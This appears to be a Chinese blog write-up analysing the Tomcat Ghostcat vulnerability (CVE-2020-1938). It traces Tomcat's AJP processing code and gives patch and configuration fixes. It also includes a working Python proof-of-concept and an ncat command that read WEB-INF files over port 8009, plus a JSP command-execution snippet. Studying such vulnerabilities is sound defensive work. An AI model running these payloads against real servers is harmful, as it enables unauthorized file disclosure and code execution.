前言
你需要了解ajp的基本概念
AJP协议是定向包(面向包)协议,采用二进制形式代替文本形式,以提高性能。可以说是http协议的二进制版本,正因如此浏览器不能直接与ajp通信,需要一些工具才行,后面已经放出。
Tomcat通常有两个Connector
- HTTP Connector:负责建立HTTP连接。Tomcat拥有此连接器才能成为一个web服务器;它还可以额外处理Servlet和jsp。在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器。
- AJP Connector:负责和其他的HTTP服务器建立连接。在把Tomcat与其他HTTP服务器集成时,就需要用到这个连接器。AJP连接器可以通过AJP协议和一个web容器进行交互。
官方文档:https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
本篇所有代码及工具均已上传至gayhub:https://github.com/yq1ng/Java
环境搭建
不深入分析原理可以使用vulhub一键搭建环境,本地搭建参考坏蛋呆呆和包华杰 两位师傅的文章
漏洞概述
CVE-2020-1938:https://nvd.nist.gov/vuln/detail/CVE-2020-1938
长亭幽灵猫(带线上检测):https://www.chaitin.cn/zh/ghostcat
一句话:在受影响版本内tomcat默认开启了ajp connector,并监听0.0.0.0:8009,导致可以读取任意文件
影响范围:Apache Tomcat 9.x < 9.0.31,Apache Tomcat 8.x < 8.5.51,Apache Tomcat 7.x < 7.0.100,Apache Tomcat 6.x
漏洞检测
使用Xary即可检测
漏洞利用
任意文件读取
使用轮子
使用大佬写好的工具:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
自己造轮子
这里仅给出一个poc,因为有许多轮子了,我就不造了,懒癌~~
首先要知道漏洞怎么出现的,这一小段应归属到漏洞分析里,就酱紫吧嘻嘻。
使用argherna师傅的ajp通讯工具,同时wireshark抓包,使用过滤器:tcp.port==8009
查看与8009端口的全部通信,也可以用ajp13
过滤只看ajp13协议的通信
将第一个以ajp协议通信的包(22:REQ:GET…)提出详细查看,从包中也可以看到ajp协议其实与http协议相当类似,其version甚至直接写为HTTP/1.1,Method也是GET
由官方文档可知,ajp请求报文结构(Request Packet Structure)应该是这样的
0x1234
+Data Length
+Data
Data组成是这样的,以0xff结束
所以ajp的请求包就是:MAGIC (1234) + DATA LENGTH + DATA + END (ff)
,DATA LENGTH是完整数据包除去MAGIC和最后的0xff结束标识,将抓到的数据被copy下来细看
我的是1234006102020008485454502f312e310000102f646f63732f696e6465782e68746d6c0000093132372e302e302e310000057971316e670000096c6f63616c686f73740000500000000a000f414a505f52454d4f54455f504f5254000005323232333600ff
,看看DATA LENGTH是否是上述所说
安恒信息安全研究院的【WEB安全】Tomcat-Ajp协议漏洞分析一文提到可以控制request的Attribute属性来达到任意文件读取,在文档中也找到关于Attribute的介绍
从上面的一堆十六进制也可以找到以0x0a开头,0xff结尾的一段:0a000f414a505f52454d4f54455f504f5254000005323232333600
,直接转换进制可以发现这就是REQ:GET
包中的最后一个键值对。这段十六进制中0a00
是 req_attribute
的开始标识,0f
则是键的长度,414a505f52454d4f54455f504f5254
是AJP_REMOTE_PORT
,0000
用于分割键和值,053232323336
是522236,00
表示键值对结束
这些数据怎么构造的已经知道了,那么再从安恒的文章中将利用点抽出来,修改数据包即可成功利用漏洞。也就是把AJP_REMOTE_PORT:22236
改成
javax.servlet.include.request_uri: /WEB-INF/web.xml
javax.servlet.include.path_info: web.xml
javax.servlet.include.servlet_path: /WEB-INF/
再修改DATA LENGTH,发送数据包即可。
# -*- coding: utf-8 -*-
# @Author: yq1ng
# @Date: 2021-05-18 00:45:29
# @Last Modified by: yq1ng
# @Last Modified time: 2021-05-18 01:07:23
import binascii
AJP_MAGIC = b'1234'
AJP_HEADER = b'02020008485454502f312e310000102f646f63732f696e6465782e68746d6c0000093132372e302e302e310000057971316e670000096c6f63616c686f73740000500000000a000f414a505f52454d4f54455f504f5254000005323232333600'
Attribute = {
'javax.servlet.include.request_uri': '/WEB-INF/web.xml',
'javax.servlet.include.path_info': 'web.xml',
'javax.servlet.include.servlet_path': '/WEB-INF/',
}
def str_len(attr):
attr_len = hex(len(attr))[2:].encode().zfill(2)
return attr_len + binascii.hexlify(attr.encode())
req_attribute = b''
for key,value in Attribute.items():
req_attribute += b'0a00' + str_len(key) + b'0000' + str_len(value) + b'00'
AJP_DATA = AJP_HEADER + req_attribute + b'ff'
AJP_DATA_LENGTH = hex(len(binascii.unhexlify(AJP_DATA)))[2:].zfill(4)
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH.encode() + AJP_DATA
print(AJP_FORWARD_REQUEST)
win10使用wt终端失败了,用了cmder,命令:python poc.py | xxd -r -p | ncat -v 127.0.0.1 8009
成功读取,算是一个poc吧,其他的自由发挥
通过包含jsp文件进行rce
用的轮子,先验证。新建文件apache-tomcat-7.0.99-src\home\webapps\ROOT\shell.txt
,内容为一句话,写反弹shell也可,我是win10,反弹失败了。。。
注:此漏洞在包含文件时 , 不考虑被包含文件的后缀名。即文件内有jsp代码则执行,没有则直接输出
修改大佬poc代码,将296行的asdf
改为asdf.jspx
,就是访问一个不存在的jsp文件。
shell内容为<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>
包含利用还是有点困难的,你需要有可控rce文件或者任意文件上传才行
自己造轮子的话就用ajp通讯访问不存在的jsp文件,再次更改数据包即可,不做演示。。。
漏洞原理
Tomcat默认配置文件:conf/server.xml
配置的两个Connector默认监听外网:0.0.0.0:8080
和0.0.0.0:8009
Tomcat架构
先来一张顶层架构图
Server
Server
代表整个servlet
容器,它由org.apache.catalina.Server
接口定义 ,标准实现是org.apache.catalina.core.StandardServer
- 一个
Server
可以包含一个或多个Services
- 在
conf/server.xml
配置文件中它必须是最外面的单个元素,因此它的属性也代表了整个servlet的特征 - Server标签的三个属性:
className
:需实现的Java类,此类必须实现org.apache.catalina.Server
接口,未指定则使用标准实现port
:该服务器等待关闭命令的TCP / IP端口号,一般为8005;设置为-1则为禁用关闭端口shutdown
:为了关闭Tomcat,必须通过与指定端口号的TCP / IP连接接收的命令字符串
Service
- Service 用于对外提供服务连接,例如同时提供不同协议连接(HTTP , HTTPS , AJP);同时提供不同端口连接
- Service默认只有一个,也就是一个 Tomcat 实例默认一个 Service
- Service元素很少由用户定制,一般默认实现即可
- 一个 Service 包含多个连接器和一个容器
- Service可以嵌套一个或多个Connector元素,但必须有一个Engine元素
- Service两个属性:
className
:需实现的Java类,此类必须实现org.apache.catalina.Service
接口,未指定则使用标准实现:org.apache.catalina.core.StandardService
name
:Service显示名称,必须唯一
Connector
一个 Service 可以多个 连接器,接受不同连接协议
Connector用于处理与客户端的通信;Connector接受请求并将请求封装成Request和Response,然后交给Container进行处理,Container处理完之后在交给Connector返回给客户端
以下摘自码哥字节—Tomcat 架构原理解析到架构设计借鉴]
Connector的三个核心组件
Endpoint
、Processor
和Adapter
来分别做三件事情,其中Endpoint
和Processor
放在一起抽象成了ProtocolHandler
组件EndPoint
是通信端点,即通信监听的接口,是具体的 Socket 接收和发送处理器,是对传输层的抽象,因此EndPoint
是用来实现TCP/IP
协议数据读写的,本质调用操作系统的 socket 接口Processor
用来实现 HTTP 协议,Processor 接收来自 EndPoint 的 Socket,读取字节流解析成 Tomcat Request 和 Response 对象,并通过 Adapter 将其提交到容器处理,Processor 是对应用层协议的抽象Adapter
将Processor转换后的 Request 请求提交给 Container 进行具体的解析
Container
Container用于封装和管理Servlet,以及具体处理Request请求,处理完毕生成Response并返回给Connector 组件
其含有四种容器:
Engine
、Host
、Context
和Wrapper
Engine
- Engine表示特定服务的请求处理管道,用于管理多个站点(Host)
- 服务可能有多个连接器,Engine接收并处理来自这些连接器的所有请求,将响应返回给适当的连接器,以便传输给客户端
- Service必须内嵌一个Engine
- 五个属性:
backgroundProcessorDelay
:调用backgroundProcess
方法与子容器的延迟时间,默认10sclassName
:需实现的Java类,此类必须实现org.apache.catalina.Engine
接口,未指定则使用标准实现:org.apache.catalina.core.StandardEngine
defaultHost
:默认的主机名;此名称必须与嵌套在name
其中的Host元素之一的属性匹配jvmRoute
:负载平衡name
:用于日志和错误消息。在同一台Server中使用多个Service元素时 ,必须为每个引擎分配一个唯一的名称
Host
- Host表示一个虚拟主机,或者说一个站点,一个 Tomcat 可以配置多个站点(Host)
- 一个站点( Host) 可以部署多个 Web 应用
- Host 内部可能有多个 Context 容器
Context
- 一个 Context 代表一个Web应用程序,每个 Context 具有唯一的路径
- 一个 Context 可以有多个
Servlet
Wrapper
- Tomcat最底层容器
- 一个 Wrapper 封装一个 Servlet , 它负责管理一个 Servlet , 包括的 Servlet 的装载 , 初始化 , 执行以及资源回收
Tomcat如何从url定位到servlet
比如我访问http://yq1ng.com:8080/a/b
,怎么定位到servlet?
- 首先根据协议和端口号确定 Service 和 Engine。请求被Connector得到,由Connector确定Service,而一个Service有一个Engine,即确定Engine
- 由域名确定Host
- 由URL确定Context容器。根据
/a
确定Context容器 - 由URL确定Wrapper(servlet)。Context确定后再根据web.xml 中配置的 Servlet 映射路径来找到具体的 Wrapper 和 Servlet
这一系列的调用如何实现? Pipeline-Valve 管道
!Pipeline-Valve
是责任链模式,责任链模式是指在一个请求处理的过程中有很多处理者依次对请求进行处理,每个处理者负责做自己相应的处理,处理完之后将再调用下一个处理者继续处理。
其调用如下
只有上层管道的 BaseValve
才能调用子容器的管道
觉不觉得这架构就是套娃,哈哈
漏洞分析
根据前辈的复现思路:在gayhub查看commit,因为时间久远就把Epicccal
师傅的图拿来了
Processor
由Tomcat架构了解到Connector的Engine部件接收请求然后提交给Processor 部件,这里使用的是AJP协议,所以以java/org/apache/coyote/ajp/AjpProcessor.java:prepareRequest()
作为起点,此处开始处理接收到的AJP数据包
由注释可知,此函数主要解析部分请求头,跟进来到java/org/apache/coyote/ajp/AbstractAjpProcessor.java
解析HTTP方法
解析Headers
解析额外属性
往下走可以发现 n 和 v 其实就是我们的payload,而下面的三个if判断了额外属性是否为私有属性,若不是则将其设置为requests的键值对,顶层的while循环将我们的payload都设置为requests的键值对
再往下检查了是否设置secret和请求URL是否为http://开头。若有secret则403;是http就解析出host。我们的payload显然不满足,所以都跳过
此处可以知道设置secret可以防止此漏洞
至此,prepareRequest工作完成,根据架构可知下一步应到Adapter进行后续解析
Adapter
继续往下走,到java/org/apache/coyote/ajp/AjpProcessor.java:191
,继续跟进
走到java/org/apache/catalina/connector/CoyoteAdapter.java:408
,开局创建两个对象(你有吗)。为何创建对象?仔细看,一个是更为底层的Request(未实现HttpServletRequest接口),一个是Tomcat的Request(实现HttpServletRequest接口),所以来了一个中间商将其转换后再交给Servlet.service()
下面就是初始化一下,并给Response添加一个X-Powered-By属性,再去调用postParseRequest()
,跟进此函数
这个函数干了好多事,它解析了代理,解析了URL,处理了Session等等,主要是确定了Context和Wrapper
然后return,接着走,在第452行Adapter将锅交给Container,让其调用对应的Servlet
责任链
还记得上面的责任链吗。跟进connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
的invoke()
来到java/org/apache/catalina/core/StandardEngineValve.java
,该函数的作用就是选择后面要用的Host,然后invoke
责任链(套娃)的第一个管道开始了java/org/apache/catalina/valves/AccessLogValve.java
java/org/apache/catalina/valves/ErrorReportValve.java
java/org/apache/catalina/core/StandardHostValve.java
,这也是第一个BaseValue。然后呢?只有上层管道的 BaseValve
才能调用子容器的管道,所以会找到要使用的 Context 进行invoke
继续走是java/org/apache/catalina/authenticator/AuthenticatorBase.java
,此处又是getNext().invoke()
,一样的
来到java/org/apache/catalina/core/StandardContextValve.java
,这也是个BaseValue,然后选择wrapper,再invoke
跟进走到java/org/apache/catalina/core/StandardWrapperValve.java
,由前面可知wrapper是最小的容器了,所以责任链到这里也就结束了,下面请Servlet表演
Servlet
前面的初始化不说了,直接来到135行,使用wrapper.allocate()
分配Servlet实例
再往下的180行,创建两个过滤器
220的doFilter()
进行过滤,跟进来到java/org/apache/catalina/core/ApplicationFilterChain.java
,函数最后调用internalDoFilter(request,response)
,继续跟,303行调用servlet.service()
,一路F7来到java/org/apache/catalina/servlets/DefaultServlet.java:getRelativePath():374
,调用堆栈如下
漏洞点
想想开始发送payload的三个属性,如果javax.servlet.include.request_uri
属性存在,则将我们传入的javax.servlet.include.path_info
与javax.servlet.include.servlet_path
拼接后再return,这样的话return的刚好是我们要读取的文件
接着往下会调用lookupCache()
去缓存里面找我们要的文件,第一次读肯定是没有的,跟进看看具体做了什么。其用lookup
和 find()
函数来查找文件是否在缓存中,没有则用File类来读取文件
继续跟进,在java/org/apache/naming/resources/FileDirContext.java
处读取,其中base保存了本目录下所有文件来匹配name,这么拼接出来结果就是我们要读取文件的绝对路径
再往下就是对文件的基本判断,存在啦,可读啦,啥啥的
然后走到861行在这里调用normalize()
来限制跨目录,所有我们只能读取ROOT下的文件
最后return file
后面再次调用cacheLoad()
,读取文件,并将读取到的文件内容生成Response返回客户端,不搞了。。。
jsp包含其实和上面一样,无非就是在java/org/apache/catalina/core/StandardContextValve.java
选择Servlet后的service判断了是否为jsp,如果是那就调用JSP Servlet(serviceJspFile())
漏洞补丁/修复
参考长亭文章:
Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。
未使用 Tomcat AJP 协议,则可以直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复
若无法更新,则在
conf/server.xml
将<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
注释or删除使用了 Tomcat AJP 协议,则建议将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本,同时为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证
或者 将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值:
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />
或者 AJP Connector 配置 requiredSecret 来设置 AJP 协议认证凭证:
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />
参考
[CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp 协议任意文件读取/JSP文件包含漏洞分析]
不调试源码重现 Ghostcat 漏洞 (CVE-2020-1938)
Ghostcat 是存在于 Tomcat 中的高危文件读取/包含漏洞【 CVE-2020-1938 】